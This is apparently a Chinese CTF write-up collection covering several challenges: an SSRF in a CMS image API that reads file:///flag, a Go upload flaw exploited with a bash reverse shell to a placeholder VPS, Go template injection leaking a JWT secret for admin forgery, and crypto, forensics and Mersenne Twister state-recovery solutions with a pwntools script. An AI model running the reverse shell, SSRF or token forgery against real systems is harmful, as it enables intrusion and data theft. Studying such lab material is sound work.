getcurl这个函数存在一个SSRF的漏洞点:
然后在/sys/apps/controllers/api/Qpic.php文件中存在对这个函数的调用:
需要注意的是这里用sys_auth函数对URL进行了一次编码,跟进这个函数:
很贴心的自带编码模式,0是加密,1是解密,然后Mc_Encryption_Key可以在html/sys/libs/db.php中找到:
这样对file:///flag进行一次编码得到:
fc4ce2w9LD-P6QkYICFFPlJz7xuNL7ja9NawGYR3JmxFc1uAdIOgEWc
然后直接传进去就能读到flag文件:
index.php/api/qpic/img?str=fc4ce2w9LD-P6QkYICFFPlJz7xuNL7ja9NawGYR3JmxFc1uAdIOgEWc
Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)
https://blog.csdn.net/weixin_46187013/article/details/122454511
go RCE,有一个go文件上传点,然后在访问/users路由发现提示找不到users.go文件,因此猜测users路由会解析users.go文件,因此直接写一个含有反弹Shell命令的users.go:
package main
import (
"bytes"
"fmt"
"log"
"os/exec"
)
var cmd = \`
bash -c 'exec bash -i &>/dev/tcp/VPS\_IP/PORT <&1'
\`
func main() {
cmd := exec.Command("sh","-c",cmd)
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
fmt.Printf("out:\\n%s\\nerr:\\n%s\\n", outStr, errStr)
if err != nil {
log.Fatalf("cmd.Run() failed with %s\\n", err)
}
}
上传完成后访问users路由即可获得Shell:
go ssti + jwt伪造
首先注册一个用户:{{.}}
/register
POST: id={{.}}&pw=123
然后auth一下获得token:
/auth
POST: id={{.}}&pw=123
把token添加到X-Token头里去POST请求根路由触发ssti:
就可以获得jwt的密钥:fasdf972u1041xu90zm10Av
然后去jwt.io伪造一下jwt:
is_admin修改为true,然后替换X-Token头为我们伪造的jwt去请求flag路由:
搜索关键字
网上找到密码表,对照进行解码:
PTRH{GWDVSWVQBFISZSZ}
维吉尼亚密码,逆推一下KEY:kirby
解码得到flag:FLAG{IMVERYLIKEKIRBY}
改为小写然后套上flag格式即可
binwalk分析流量包发现7z文件,使用010找到对应位置的16进制数据另存出来
发现为加密压缩包
发现密码为123456
解开ZIP得到一个谷歌网页,下载下来得到
密码在注释中为123456
然后逆向异或key 6603
DASCTF{6f938f4c-f850-4f04-b489-009c2ed1c4fd}
SUID提权 date命令读文件
z3逆回去拿状态
def cs2l( y, shift):
return ((y << shift) ^ (y >> (32 - shift))) & 0xffffffff
def cs2r( y, shift):
return ((y >> shift) ^ (y << (32 - shift))) & 0xffffffff
from z3 import \*
from tqdm import trange
def gao(y\_1):
x\_1=BitVec('x\_1', 32)
s=Solver()
tmp = x\_1 ^ RotateLeft(x\_1, 11) ^ RotateLeft(x\_1, 15)
tmp = tmp ^ RotateRight(tmp,7) ^ RotateRight(tmp,19)
s.add(y\_1 == tmp)
s.check()
return (s.model().eval(x\_1))
f = open("./output.txt","r")
output = eval(f.read().strip())
state = \[\]
f.close()
for i in trange(len(output)):
state.append(int(str(gao(output\[i\]))))
f = open("./state.txt",'w')
f.write(str(state))
f.close()
直接代入状态
f=open(r'./state.txt','r')
s = eval(f.read().strip())
print(s)
class Myrand():
def \_\_init\_\_(self,state):
self.MT = state
self.index=0
def generate(self):
for i in range(624):
y = (self.MT\[i\] & 0x80000000) + (self.MT\[(i+1)%624\] & 0x7fffffff)
self.MT\[i\] = self.MT\[(i+397)%624\] ^ (y >> 1)
if y & 1:
self.MT\[i\] ^= 2567483520
def rand(self):
if self.index == 0:
self.generate()
y = self.MT\[self.index\]
y = y ^ self.cs2l(y, 11) ^ self.cs2l(y,15)
y = y ^ self.cs2r(y,7) ^ self.cs2r(y,19)
self.index = (self.index + 1) % 624
return y
def cs2l(self, y, shift):
return ((y << shift) ^ (y >> (32 - shift))) & 0xffffffff
def cs2r(self, y, shift):
return ((y >> shift) ^ (y << (32 - shift))) & 0xffffffff
r = Myrand(s)
from hashlib import md5
flag = 'DASCTF{' + md5(str(r.rand()).encode()).hexdigest() + '}'
print(flag)
MT[227] = MT[0] ^ ((MT[227]_h(brute 0/1) + MT[228])>>1)
拿227和0,228是后面的没有被干扰到,所以用228去恢复seed即可。大概概率1/4的机率 是准确的数
from gmpy2 import invert
from z3 import \*
def cs2l( y, shift):
return ((y << shift) ^ (y >> (32 - shift))) & 0xffffffff
def cs2r( y, shift):
return ((y >> shift) ^ (y << (32 - shift))) & 0xffffffff
def gao(y\_1):
x\_1=BitVec('x\_1', 32)
s=Solver()
tmp = x\_1 ^ RotateLeft(x\_1, 11) ^ RotateLeft(x\_1, 15)
tmp = tmp ^ RotateRight(tmp,7) ^ RotateRight(tmp,19)
s.add(y\_1 == tmp)
s.check()
return (s.model().eval(x\_1))
def \_int32(x):
return int(0xFFFFFFFF & x)
def invert\_right(res,shift):
tmp = res
for i in range(32//shift):
res = tmp^res>>shift
return \_int32(res)
def recover(last,index):
n = 1<<32
inv = invert(2037740385,n)
for i in range(index,0,-1):
last = ((last-1)\*inv)%n
last = invert\_right(last,30)
return last
def get\_sec(tmp1,tmp2):
t\_1 = int(str(gao((tmp1))))
t\_2 = int(str(gao((tmp2))))
y = (t\_2^t\_1 & 0x7fffffff)<<1
seed = recover(y,228)
print(seed)
return seed
from pwn import \*
for i in range(10):
io = remote("node4.buuoj.cn",26148)
io.recvuntil(b'Your first see:')
io.sendline(str(227).encode())
tmp1 = eval(io.recvline().strip())
io.recvuntil(b'You konw my secret?')
io.sendline(str(1).encode())
io.recvuntil(b'Your second see: ')
io.sendline(str(0).encode())
tmp2 = eval(io.recvline().strip())
print(tmp1,tmp2)
io.recvuntil(b'You konw my secret?')
secret = get\_sec(tmp1,tmp2)
io.sendline(str(secret).encode())
print(io.recv())
tmp = (io.recv())
print(tmp)
if tmp == b'For you ~\\n':
io.interactive()
io.close()
由经验可知,取其中624*32bit个对应的,直接取值然后丢进去搞,z3给最初的state,然后每一位搞,搞出来624*32条方程即出。
2 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!